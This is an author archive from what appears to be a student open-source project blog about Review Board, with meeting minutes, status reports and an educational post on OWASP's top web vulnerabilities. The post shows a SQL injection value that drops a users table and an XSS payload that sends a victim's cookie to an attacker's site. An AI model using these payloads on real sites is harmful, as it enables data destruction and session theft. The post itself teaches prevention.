Author Archives: schmidtallisa

Meeting Minutes: November 17th, 2013

(Sorry for the big delay in posting this!)

Hey everybody! We’re just over half-way through November! Your other courses are probably starting to wrap up, and other final assignments are starting to approach their due dates. Keep your eye on the ball, keep your eye on the calendar, and really work to get your stuff out of WIP.

Also a reminder that we like to do a Google Hangout session at the end of the term so we can demo our projects to each other. It’s not mandatory but it’s fun.

Round Robin

I think I can get a non-WIP request up tonight or tomorrow. I’m just finishing up with bridging the back-end with a few of the functionalities of the checklist. WebAPIResources are more or less cleared up. And thanks to ChipX86. He’s been really patient with me.

Just wanted to open by thanking purple_cow for the thorough review! Gives me lots to work on.
How exactly would I format an htaccess file in terms of testing its execution? I’ve tried to look up examples of htaccess files but am not sure what’s needed.
Turns out we don’t actually need to test htaccess files.

Are there any other filetypes in particular that I should be checking?
.pl, .py, .rb, .cgi, variants on those. Look at reviewboard/cmdline/conf/

purple_cow mentioned that since i am adding the extra_data field to ReviewRequest, I have to make an evolution for it. Is that just running ./reviewboard/ syncdb and ./reviewboard/ evolve –hint –execute?
Never run –hint –execute under any circumstances. It might blow up your computer. once you create the evolution file, add it to your patch.

purple_cow also mentioned that we should have a discussion of how this field will work with drafts.
Maybe we can make the draft one be a special kind of dict that keeps track of operations. Or the draft one can be blank at first, and its contents are copied over, so extensions/API just need to choose which they really want to be operating on.

Is there a preference for how I should have suggestions display?
I think adding some vertical spacing would help a lot. No bold necessary there. Maybe cahnge its style to not be bold and see how that looks.

If I fix an issue but don’t put up a new review request with the fixes should I be marking the issue as fixed or waiting till I put up the change?
I tend to mark mine as fixed as I fix them, so I don’t forget. It also lets us see your progress before a change is actually put up.

I made a very small change in djblets, I’m guessing I’d need to make a whole different review request for that despite it being connected to the same change?

I’m having trouble finding a more powerful and suitable query parser to replace Haystack’s simple query parser with.
imho, having Haystack + the simple parser is fine for now, since most people don’t even have search at all and don’t know about the complex query syntax. <- looks interesting


Common Web Vulnerabilities

Since I’m working on creating a security checklist for admins running Review Board, I’ve been doing some research about vulnerabilities that would make good candidates for tests. A lot of common web vulnerabilities are more code-based rather than server configuration-based so they aren’t really what we’re worried about in this checklist. These vulnerabilities are interesting regardless so I’d like to discuss them here.

As an introduction, the vulnerabilities that I will be discussing are the top 5 vulnerabilities present on the Open Web Application Security Project (OWASP) top 10 list for 2013. It was founded in 2001 by Mark Curphey and Dennis Groves. OWASP includes contributors from around the world and works to put together a knowledge base, tools and technologies to help web developers do their part in keeping their web sites secure. It’s really on web developers to keep their applications secure, as vulnerabilities can hurt users as much as it can hurt developers.

#1 – Injection
Injection vulnerabilities are most often found in the form of SQL query injections. This is likely at the top of the list due to how commonly it is found in applications, and also how easy it is to exploit. All an attacker needs to do is send specially-crafted text to exploit the targeted interpreter. Here’s a good example of server code which contains an injection vulnerability:

txtUserId = getRequestString(“UserId”);
txtSQL = “SELECT * FROM Users WHERE UserId = ” + txtUserId;

If an attacker can get access to the txtUserId value, they can muck around with the SQL string however they want – perhaps by adding a semicolon after a user id and then executing whatever they want. What happens if we could set txtUserID equal to “105; DROP TABLE Users” ?
Perhaps the best and easiest way to avoid having this vulnerability present in code is to use a safe API to interact with your database. That way your code is never directly working with variable SQL queries. It sounds obvious, but it’s staggering how often this vulnerability is found in code.

#2 – Broken Authentication and Session Management
As soon as you start implementing your own form of authentication and/or session management, you’re taking the risk of having an error somewhere along the way. All it takes is one element of this being poorly implemented and you could be opening yourself up to an attacker who knows what they’re doing. Attackers can compromise passwords, keys, session tokens, or perhaps even worse, they can exploit flaws in the implementation to gain access to others’ identities.

Imagine how much trouble Amazon would be in if you could gain access to someone’s account and buy things for them due to an implementation error? Flaws in implementation can be found in logout logic, password management, timeouts, any sort of “remember me” functionality, and a slew of other places.

It can be really tough to track these flaws down due to most implementations being unique. The best way to avoid this vulnerability is to use a single set of strong authentication and session management controls which have been thoroughly tested and meet the standards found in OWASP’s Application Security Verification Standard ( ). Being overly cautious can save developers from the disastrous consequences of this vulnerability.

#3 – Cross-Site Scripting
Commonly known as XSS, this vulnerability happens when an application takes unsanitized data and sends it to a browser without validation. Because of this, attackers can actually execute scripts in a user’s browser without them even knowing. There is a huge amount of abusable data that can be found in a user’s browser: cookies, session information, stored passwords… You get the idea. Equally bad is the fact that an attacker can redirect the user to another (potentially compromised) website. The prevalence of this vulnerability is largely due tot he fact that any source of data in the website could become a vector of attack. Here’s an example:

Suppose a web application has the following usage of data:
(String) page += “[input name=’creditcard’ type=’TEXT’ value='” + request.getParameter(“CC”) + “‘]”;

An attacker can then modify that “CC” value to:
‘][script]document.location= ‘ ?foo=’+document.cookie[/script]’.
What this does is send the user’s session information to the attacker’s website. The attacker now has free reign on that user’s session and can do whatever they want with it.
Note: Those square braces should be pointy braces – WP doesn’t like my examples.

Prevention of XSS boils down to separating untrusted data from active browser content. Ideally you want to escape untrusted data based on your HTML context. Additionally you can whitelist input validation – whitelisting means to ONLY accept specific data formats, as opposed to rejecting known bad data.

#4 – Insecure Direct Object References
This one is kind of a mouthful. Basically this means that a developer has (likely accidentally and without knowing) exposed a piece of back-end data to the web. This could be a directory, a file, a database key, etc. This is prone to happening because developers will commonly generate web pages using the actual name of an object, and the application may not have the proper verification in place to make sure that a user has the proper privileges to access this object. All an attacker needs to do to exploit this is to craft a URL request string by changing a parameter value to refer to some other system object – one that isn’t meant to be exposed to the front-end. If access is granted, you’re in trouble.

The prevention methods for this vulnerability are probably obvious after reading its description – use indirect object references to generate content, and make sure the validate access to direct object references.

#5 – Security Misconfiguration
Finally this is a vulnerability which is configuration-based rather than code-based. There are a lot of places on a server running a given application where this can become a problem:

What kind of software are you using, and is it up to date? An out-of-date operating system, webserver, database management system, or code libraries can all become vectors of attack if they contain unpatched known vulnerabilities.

Have you enabled things that shouldn’t be enabled? Things like ports, services, pages, accounts or privileges.

Are any default accounts and their passwords still present on the system? Attackers can commonly brute-force their way into servers by using known account names and common passwords. The “root” account on *nix systems is a good example of this.

Are users exposed to error messages which tell them too much? You don’t really want to be spilling a stack trace to the front end, as it provides way more information than a potential attacker should be able to see.

For any frameworks you’re using, are any security settings that are left at default values?

Preventing security misconfiguration is basically a battle of awareness – keep your server’s moving parts up to date and with secure settings. It’s worth taking the time to run security scans and to do server audits to make sure one of these vulnerabilities is not present.

Status Reports – October 26th, 2013

* What you’re currently working on, or have just completed
I’ve just finished getting the stub data going from the back end to the front end.

* What you’re working on next
I’m going to be writing the Executable Code test.

* What’s blocking you from progressing
I ran into an issue running the app but it was cleared up for me this morning.

* Any questions you might have

* What you’re currently working on, or have just completed
I’ve progressed well into the logic for assigning trophies based on
review requests. I will have something to submit by early next week.

* What you’re working on next
I will write the tests and create UI for the review request page.

* What’s blocking you from progressing

* Any questions you might have

* What you’re currently working on, or have just completed
I refactored the logic for summary/description guessing in RBTools to their own methods so they can be used outside of diff(). I’m currently addressing the issues brought up on my review request.

* What you’re working on next
Enhance ‘rbt patch’ to automatically create a git commit.

* What’s blocking you from progressing

* Any questions you might have
When we modify a file as part of a feature, should we bother fixing formatting issues (e.g. doc strings) for existing code in that file? I feel these fixes should be in a separate patch to keep the changes for the feature patch at a minimum.

* What you’re currently working on, or have just completed
I’ve created the Django models, urls and views for the checklist.

* What you’re working on next
Attaching my checklist to a specific review.

* What’s blocking you from progressing
Right now there’s this error I get on the Review UI page, that fails to instantiate a Checklist.Extension object,
because it’s undefined. This is still part of the issues I had when I updated the way I include static files in
my extension. I thought I’ve cleared up the problems the other night. It’s preventing me from testing
my extension.

* Any questions you might have
How do I get the ID for a particular review? For example, when I’m reviewing an image, I have this url:
http://localhost:8000/r/5/file/4/. I think 5 is the review request ID, and 4 is the file ID. But how do I get
the review ID?

* What you’re currently working on, or have just completed
– I’m currently working on getting reviewer suggestions to show up and be interactable with on the front end
– I have them showing up, but right now they do nothing on click.
– Trying to understand the set up of the inline editor to figure out how I can click on a name to add it to the editor

* What you’re working on next
– Making reviewer names clickable so that they get added to the “people” list and removed from the suggestion list

* What’s blocking you from progressing
– nothing other than just a slow understanding of what’s going on.

* Any questions you might have
– Nothing yet.

Meeting Minutes: Oct. 20, 2013

The midterm evaluations came up very quickly. Now’s an excellent time to take a step back, look at your project, and your progress so far, and see if you’ve got enough velocity. It’s worth noting that the midterm “grade” is purely advisory. It’s useful to work on UCOSP projects in a concentrated blast / multi-hour session as opposed to 20 minutes here and there.

We now have more support for easily shipping and building static media files for extensions. If you look in the rb-extension-pack repository in the rbseverity dir, you’ll see how it works.

Is it still possible to get a good grade in this course even if you’re a little behind?

I’m thinking about using a jQuery accordion for my security list. How should I go about doing that?
Keep it simple for now. Just make it a list. A simple but readable list of passes and fails is good enough – things like an accordion are more polish than necessary.

I’m not sure about everything regarding design.
So the flag in the review_request is there to prevent unnecessary database queries, which add significant time to a page. When you view a review request, extra_data is already loaded, so it’s a quick and easy check. That’s only there to prevent scanning to see if a new trophy should be added, though. It still has to look up trophies from the database if we know they’re set, maybe make that flag trophy_count – That way we know if there hasn’t been any calculated (missing from extra_data), or if there’s none (0), or if there’s at least 1. If there’s at least 1, we do need to do a database query, and show the trophies.

For r/4699, Summary and Description are used to determine a matching review request. If they are not provided and guessing is not enabled, we still want to guess them, but the values won’t be used in the update. The logic for guessing is currently embedded in the diff logic, and is a bit difficult to make independent. An easy hack is to enable guessing before calling get_diff(), and turn it off and restore the original summary and description values after extracting the guessed values. This is approach isn’t very clean so I’m not that fond of it. Any suggestions on how I should proceed?
What I suggest, is refactoring out the whole guessing code into its own methods. These methods should not rely on the options object at all. I would think we can just do this for those SCMs.

My question is basically about the next course of action I should take. Would it be better to get the back end going now, or should I keep working on the front end?
I think you should get the backend/api working before spending more time on the interaction.

Is there a quick way to map Django models to Backbone.js models?
The two aren’t necessarily the same – it really depends on the data you’re getting and from where. The Django model is what’s in your database, which is often but not always different from what you want to expose to the API. There’s often a 1:1 relationship between API resource and backbone.js models, though. As far as I know, we manually keep the two in sync – we don’t have tools that update the Backbone models if the API changes. You can extend our BaseResourceModel to handle the details of communication with the API, but you’ll still need to define the field names yourself.

Is it a sensible workflow to get front-end stuff working before doing too much on the backend?
Sounds good.

Student Status Reports 9/14/13

Edward Lee

What you’re currently working on, or have just completed:
Submitted my first bug fix for review for
Currently reading up on Django to become more familiar with the framework.

What you’re working on next:
Go through some tutorials on Backbone.js and look at another EasyFix issue.

What’s blocking you from progressing:
None currently.

Any questions you might have:
Once we post a patch for review and the patch has been approved and merged, what do we do with the local feature branch used for the patch? Should we keep it around or remove it?

Mary Malit

What you’re currently working on, or have just completed:
I discovered that the first bug fix I signed up for ( was not a bug – or at least, not anymore – so I am now working on another EasyFix bug, #2466 (

What you’re working on next:
I accidentally signed up for a bug fix that was not an EasyFix, so I’m thinking of looking into that after I’ve finished with my current easy fix.

What’s blocking you from progressing:
I forgot my admin login, so I’m hoping to get that recovered, so I can recreate the error in #2466

Any questions you might have:
No additional questions at the moment.

Natasha Dalal

What you’re currently working on, or have just completed:
I think I’m slightly behind everyone here, ran into issues getting unit tests to work (pysvn troubles I believe), and then ran into more issues trying to get vmware set up… I am currently in conversation with smacleod about it, and hope to have it set up by later today!

What you’re working on next:
Will be looking through the EasyFix again as soon as I get things set up and will start to work on that.

What’s blocking you from progressing:
Not having a working dev environment! I believe that there were troubles with licensing on the latest version of VMWare.

Any questions you might have:
None so far that do not relate to set up / haven’t or aren’t being answered on IRC

Allisa Schmidt

What you’re currently working on, or have just completed:
I’m in the same boat as Natasha (at least you’re not the only one who’s behind!). I need to work out a couple of issues I’m having with my setup.

What you’re working on next:
Getting dev env up to snuff and then grabbing an easy fix bug.

What’s blocking you from progressing:
Not having my dev environment finished setting up.

Any questions you might have:
None so far, I’ll be on irc today/tomorrow if I can’t get my environment working.

Behzad Raeisi

What you’re currently working on, or have just completed:
I’ve set up my development environment and now I’m setting up an IDE to begin development.

What you’re working on next:
I will pick an EasyFix bug and work on it.

What’s blocking you from progressing:
Nothing right now.

Any questions you might have:
Nothing right now.